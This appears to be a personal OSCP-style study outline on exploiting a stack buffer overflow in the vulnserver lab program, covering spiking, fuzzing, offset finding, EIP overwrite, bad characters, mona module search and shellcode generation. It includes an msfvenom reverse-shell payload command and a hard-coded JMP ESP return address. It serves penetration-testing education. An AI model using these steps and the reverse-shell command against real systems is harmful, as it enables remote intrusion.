Buffer Overflows
Requirements
Windows - OS (7-10) vulnserver Immunity Debugger
What is BoF?
Anatomy of memory:
Kernel
Stack
Heap
Data
Text
Overflowing the Buffer Space in stack and reach other levels allowing to control them
Steps of BoF
Spiking
Fuzzing
Finding the offset (find the break point)
Overwriting the EIP
Finding bad characters
Finding the Right Module
Generating the shellcode
Root <->
1. Spiking
Open vulnserver using the debugger to see what breaks and so on
From kali
Connect to {ip 9999} using nc Next up we put a bunch of characters to see if we can crash an app using a certain command. generic_send_tcp
^ send a TCP request with our characters and test it Now we create a file {something}.spk and put this in there:
STATS <- in this case, should be replaced with the command name to make it specific
Command to send the spike: generic_send_tcp {ip} {port} file.spk 0 0
TRUN command appears to be vulnerable
2. Fuzzing
TRUN is vulnerable so we can now attack it Python fuzzing script
3. Finding the offset
Here we want to find the place which we override with the characters tool: /usr/share/metasploit-framework/exploit/pattern_create.rb
Command used:
Copy the output -> modify the script by replacing offset
with the characters and remove the while
loop (offset is buffer in the old script) Script should look like this:
In the debugger, we could see that 386F4337 appears to be vulnerable Now, let's try something more specific
Output: 2003 <- We can start controlling the EIP with this amount. (Exactly what we wanted)
4. Overwriting the EIP
Editing the script
5. Finding Bad Characters
google "badchars" -> Bulbsecurity.com
Copy-paste the badchars variable
Add badchars to the script as a separate varible
Add
+ badchars
toshellcode
Look at the debugger hex dump output If something is off - it's a bad character; Lack of bad characters is what we need
6. Finding the right module
Tool: github.com/corelan/mona Save that script to the machine at C:\ProgramFiles(x86)\ImmunityInc\ImmunityDebugger\PyCommands
Type !mona modules
in the ImmunityDebugger
In kali: /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
We want to convert Assembly code to Hex Type command JMP ESP
-> take FFE4
Go back to immunity debugger and change !mona modules
to !mona find -s "\xff\xe4" -m essfunc.dll
Modify the python script and remove badchars
-> Change "B" *4 to "\xaf\x11\x50\x62"
7-8. Generating Shellcode and Getting Root
Tool: msfvenom Command: msfvenom -p windows/shell_reverse_tcp LHOST={OUR IP} LPORT={OUR PORT} EXITFUNC=thread -f c -a x86 -b "\x00"
Copy and paste the output to our python code
Make it a separate varible and add to the shellcode
+ overflow
To be 100% sure, it's good to add
+ "\x90" * 32
before the `+overflow+
-> Set up nc listener -> Run the script
Additional: BoF templates
https://github.com/Swafox/OSCP/tree/master/exploit-development
Last updated